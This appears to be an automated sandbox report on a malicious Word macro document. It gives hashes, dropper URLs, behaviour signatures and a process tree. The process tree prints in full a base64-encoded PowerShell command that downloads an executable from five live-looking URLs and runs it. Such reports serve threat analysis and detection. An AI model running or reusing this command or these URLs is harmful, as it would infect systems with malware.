Analysis

  • max time kernel
    113s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 22:03

General

  • Target

    sample.doc

  • Size

    168KB

  • MD5

    7393e24572de4c8663c96e8efb23811f

  • SHA1

    17821038656d058591dc8044c33bce865e8ee92f

  • SHA256

    be7069b8f5657e3745e4cc7b97f0857267965b5ee18d2b059483b5ab4ccc4b20

  • SHA512

    7f1801cac93db10a6728740f0185d3e842b05115292a2c67bf121f8eaa164c80b7820e4554c6d4b451c318f907fcec46a526c2b168bc8938444c8d9acd8ed94c

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1840
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1640
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1664

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1640-83-0x0000000000000000-mapping.dmp
    • memory/1664-79-0x000007FEFB871000-0x000007FEFB873000-memory.dmp
      Filesize

      8KB

    • memory/1664-82-0x0000000001F7B000-0x0000000001F9A000-memory.dmp
      Filesize

      124KB

    • memory/1664-80-0x000007FEF3220000-0x000007FEF3D7D000-memory.dmp
      Filesize

      11.4MB

    • memory/1664-81-0x0000000001F74000-0x0000000001F77000-memory.dmp
      Filesize

      12KB

    • memory/1840-68-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-71-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-61-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-62-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-63-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-64-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-65-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-66-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-67-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-54-0x0000000072361000-0x0000000072364000-memory.dmp
      Filesize

      12KB

    • memory/1840-69-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-70-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-72-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-60-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-73-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-74-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-75-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-76-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-77-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-78-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-59-0x00000000008C3000-0x00000000008C6000-memory.dmp
      Filesize

      12KB

    • memory/1840-58-0x0000000070DCD000-0x0000000070DD8000-memory.dmp
      Filesize

      44KB

    • memory/1840-57-0x00000000751C1000-0x00000000751C3000-memory.dmp
      Filesize

      8KB

    • memory/1840-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1840-55-0x000000006FDE1000-0x000000006FDE3000-memory.dmp
      Filesize

      8KB

    • memory/1840-85-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB